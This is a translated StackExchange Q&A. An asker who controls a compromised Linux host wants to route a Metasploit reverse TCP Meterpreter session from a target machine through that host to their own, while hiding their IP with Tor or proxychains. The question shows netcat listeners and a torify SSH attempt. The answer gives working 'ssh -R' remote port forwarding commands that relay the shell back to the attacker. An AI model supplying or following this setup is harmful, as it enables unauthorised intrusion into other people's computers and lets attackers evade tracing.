Ssh

通過受感染的主機重定向 metasploit 流量

  • April 3, 2017

首先我想說我的問題不在於meterpreter的“Portfwd”選項:https ://www.offensive-security.com/metasploit-unleashed/portfwd/

假設我可以訪問 2 台電腦:

  • 電腦 A 是我的並且正在執行 linux。

  • 電腦 B 是受感染的主機,並且也在執行 linux。

  • 電腦 C 是我要妥協的電腦。

為此,我正在使用 metasploit 框架。如何設置從 C 到 B 的反向 tcp 連接,然後從 A 連接到 B 以獲取 Meterpreter 會話?問題是,我不想讓 B 在任何時候知道 A 的 IP 地址。這就是為什麼 A 必須啟動連接(使用代理鍊或任何其他程序來隱藏其真實 IP)。

首先,我嘗試使用 netcat 重現此問題,但也許我在那裡誤解了一些東西:

  • 電腦 A 在埠 4444 上執行 netcat 伺服器:(nc -l -p 4444因為 A 將執行meterpreter 伺服器)。

  • 電腦 C 將在埠 8888 上連接到 B nc 'B' 8888(因為 C 將執行有效負載並將連接到受感染的伺服器,因此它與我的真實 IP 沒有連結)

  • 電腦 B 必須在埠 8888 上設置一個 netcat 偵聽器才能接受來自 C 的 tcp 連接(我不確定這個)

現在我的問題是:如何在 B 不知道 A 的 IP 地址的情況下獲得 B 和 A 之間的連接。

我嘗試使用 ssh 進行從 A 到 B 的本地埠轉發:

torify ssh -NL 4444:localhost:8888 B但它告訴我埠 4444 已被使用(由 A 上的 nc 偵聽器使用)

我畫了一個簡單的方案,所以也許它會更清楚,以下方案是我想要的: 埠轉發

因此,您想將埠B:8888從伺服器A轉發到A:4444

A:$ ssh -R 8888:localhost:4444 B

這將打開埠8888監聽B並將連接轉發到A上的埠4444,即您的伺服器所在的位置。如果B中的伺服器將配置選項設置為yes ,則此方法有效。ssh``GatewayPorts

如果GatewayPorts設置為客戶端指定,您可以使用以下命令之一,

A:$ ssh -R  :8888:localhost:4444 B
A:$ ssh -R *:8888:localhost:4444 B

GatewayPortsunset 或 set to no將**套接字綁定到localhost,從而阻止遠端轉發工作。

引用自:https://unix.stackexchange.com/questions/355629